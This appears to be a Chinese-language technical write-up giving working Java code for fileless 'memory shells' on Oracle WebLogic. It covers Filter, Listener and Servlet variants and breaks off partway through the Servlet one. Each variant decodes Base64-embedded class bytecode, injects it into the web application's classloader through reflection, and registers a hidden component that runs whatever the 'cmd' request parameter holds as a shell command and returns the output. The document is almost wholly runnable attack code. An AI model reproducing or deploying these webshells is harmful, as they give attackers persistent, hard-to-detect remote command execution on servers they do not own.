测试环境
操作系统:Windows 2016
weblogic版本:10.3.6
JDK版本:1.7.80
需要导入的依赖包
C:\Oracle\Middleware\wlserver_10.3\server\lib
C:\Oracle\Middleware\modules
Base64与Class文件互转
实现代码
Base64字符串 转 Class文件
import sun.misc.BASE64Decoder;
import java.io.FileOutputStream;
import java.io.IOException;
public class Base64ToClass {
public static void main(String[] args) throws IOException {
String d = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
byte[] dx = new BASE64Decoder().decodeBuffer(d);
FileOutputStream abc = new FileOutputStream("xxx.class");
abc.write(dx);
abc.close();
}
}
Class文件 转 Base64字符串
import sun.misc.BASE64Encoder;
import java.io.*;
public class ClassToBase64 {
public static void main(String[] args) {
try{
File file = new File("E:\\Demo\\TestJava\\target\\classes\\cmdFilter.class");
FileInputStream fileInputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[fileInputStream.available()];
int len;
while ((len = fileInputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,len);
}
String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
System.out.println(encode.replaceAll("\\r|\\n",""));
}catch (Exception e){
e.printStackTrace();
}
}
}
0x01 Filter型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import javax.servlet.http.*;
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.getWriter().write("this is filter ");
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
if(webAppServletContext==null){throw new Exception("null");}
//加载字节码
String encode_class = "yv66vgAAADMAkwoAHgBKCAA/CwBLAEwIAE0KAE4ATwoACQBQCABRCgAJAFIHAFMIAFQIAFUIAFYIAFcKAFgAWQoAWABaCgBbAFwHAF0KABEAXggAXwoAEQBgCgARAGEKABEAYggAYwsAZABlCgBmAGcKAGYAaAoAZgBpCwBqAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFMHADAHAHAHAF0HAFMHAHEBAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHIMAHMAdAEAB29zLm5hbWUHAHUMAHYAdAwAdwB4AQADd2luDAB5AHoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAewwAfAB9DAB+AH8HAIAMAIEAggEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIMBAAJcYQwAhACFDACGAIcMAIgAeAEAAAcAiQwAigCLBwCMDACNAI4MAI8AIQwAkAAhBwCRDAAtAJIBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAADMAAQABAAAABSq3AAGxAAAAAgAjAAAACgACAAAADQAEAA4AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAANQAAAAIAAAABsQAAAAIAIwAAAAYAAQAAABEAJAAAABYAAgAAAAEAJQAmAAAAAAABACkAKgABACsAAAAEAAEALAABAC0ALgACACIAAAGAAAQACgAAAKIrEgK5AAMCADoEGQTGAI0BOgUSBLgABbYABhIHtgAImQAbBr0ACVkDEgpTWQQSC1NZBRkEUzoFpwAYBr0ACVkDEgxTWQQSDVNZBRkEUzoFuAAOGQW2AA+2ABA6BrsAEVkZBrcAEhITtgAUOgcZB7YAFZkACxkHtgAWpwAFEhc6CCy5ABgBADoJGQkZCLYAGRkJtgAaGQm2ABstKyy5ABwDALEAAAADACMAAAA+AA8AAAAUAAoAFQAPABYAEgAXACIAGAA6ABoATwAdAFwAHgBsAB8AgAAgAIgAIQCPACIAlAAjAJkAJgChACcAJAAAAGYACgASAIcALwAwAAUAXAA9ADEAMgAGAGwALQAzADQABwCAABkANQA2AAgAiAARADcAOAAJAAAAogAlACYAAAAAAKIAOQA6AAEAAACiADsAPAACAAAAogA9AD4AAwAKAJgAPwA2AAQAQAAAABwABf0AOgcAQQcAQhT9ACwHAEMHAERBBwBF+AAaACsAAAAGAAIARgAsAAEARwAhAAEAIgAAACsAAAABAAAAAbEAAAACACMAAAAGAAEAAAAqACQAAAAMAAEAAAABACUAJgAAAAEASAAAAAIASQ==";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//如果cachedClasses中不存在cmdFilter类
if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
//把cmdFilter的class 存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdFilter", filter_class);
//获取filterManager类
Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
filterManager.setAccessible(true);
Object o = filterManager.get(webAppServletContext);
//注册Filter
Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
response.getWriter().write("success!!!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void destroy() {
}
}
Base64字符串加载的类
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.util.Scanner;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
public class cmdFilter implements Filter {
public cmdFilter() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
0x02 Listener型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.EventsManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EventListener;
public class guguServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.getWriter().write("hello");
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
if(webAppServletContext==null){throw new Exception("null");}
//打印当前web的目录
System.out.println(webAppServletContext.getRootTempDir());
//加载字节码
String encode_class ="yv66vgAAADMAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMTG15TGlzdGVuZXI7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQATc2VydmxldFJlcXVlc3RFdmVudAEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAScmVxdWVzdEluaXRpYWxpemVkAQACcHMBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAJzYgEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAVgcAWQcAWgcAWwcARAcASgcAVQEAClNvdXJjZUZpbGUBAA9teUxpc3RlbmVyLmphdmEMABoAGwcAWQwAXABdBwBeDABfAGAHAGEMAGIAYwwAZABlAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAFsMAGYAZwwAGgBoDAAaAGkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABqAGsMAGwAbQEABDxicj4MAG4AawEALHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlcXVlc3RJbXBsDABvAHAHAHEMAHIAcwcAdAwAdQB2AQATamF2YS9pby9JT0V4Y2VwdGlvbgEACm15TGlzdGVuZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdExpc3RlbmVyAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACHRvU3RyaW5nAQALZ2V0UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAXABgAAQAZAAAAAwABABoAGwABABwAAAAvAAEAAQAAAAUqtwABsQAAAAIAHQAAAAYAAQAAAAoAHgAAAAwAAQAAAAUAHwAgAAAAAQAhACIAAQAcAAAANQAAAAIAAAABsQAAAAIAHQAAAAYAAQAAAA4AHgAAABYAAgAAAAEAHwAgAAAAAAABACMAJAABAAEAJQAiAAEAHAAAAV8ABQAJAAAAciu2AAISA7kABAIATSzGAGS4AAUstgAGTrsAB1m7AAhZLbYACbcACrcACzoEuwAMWbcADToFGQS2AA5ZOgbGABMZBRkGtgAPEhC2AA9Xp//oGQW2ABE6Byu2AALAABK2ABM6CBkItgAUGQe2ABWnAAROsQABABAAbQBwABYAAwAdAAAANgANAAAAEgAMABMAEAAVABgAFgAsABcANQAZAEAAGgBQABwAVwAdAGMAHgBtACAAcAAfAHEAIgAeAAAAXAAJABgAVQAmACcAAwAsAEEAKAApAAQANQA4ACoAKwAFAD0AMAAsAC0ABgBXABYALgAtAAcAYwAKAC8AMAAIAAAAcgAfACAAAAAAAHIAIwAkAAEADABmADEALQACADIAAAA1AAT/ADUABgcAMwcANAcANQcANgcANwcAOAAA/AAaBwA1/wAfAAMHADMHADQHADUAAQcAOQAAAQA6AAAAAgA7";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
System.out.println(filter_class);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//如果cachedClasses中不存在cmdListener类
if (get.invoke(cachedClasses_map, "cmdListener") == null) {
//把cmdListener的class 存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdListener", filter_class);
Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
eM.setAccessible(true);
EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
try {
//Weblogic 12.1.3
//创建EventListener
Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
listen.setAccessible(true);
EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");
//调用addEventListener添加Listener
Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
addListener.setAccessible(true);
addListener.invoke(eventsManager,listener);
response.getWriter().write("success!!!");
}catch (Exception e){
//weblogic1036 可以直接调用registerListener添加
Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
listen.setAccessible(true);
listen.invoke(webAppServletContext,"cmdListener");
response.getWriter().write("success!!!");
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void destroy() {
}
}
Base64字符串加载的类
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletResponseImpl;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class myListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if (cmd != null) {
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("<br>");//执行结果加上回车
}
String result = sb.toString();
ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
response.getWriter().write(result);
} catch (IOException e) {
}
}
}
}
0x03 Servlet型内存马
实现代码
以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletStubImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class guguguServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String URI = "/aaa";
//获取servletContext
Thread thread = Thread.currentThread();
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext servletContext = null;
try { //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
servletContext = (WebAppServletContext) context.get(servletRequest);
} catch (Exception e) {
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
servletContext = (WebAppServletContext) context.get(workentry);
}
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
ServletStubImpl servletStub = null;
// 使用ServletStub包装HttpServlet
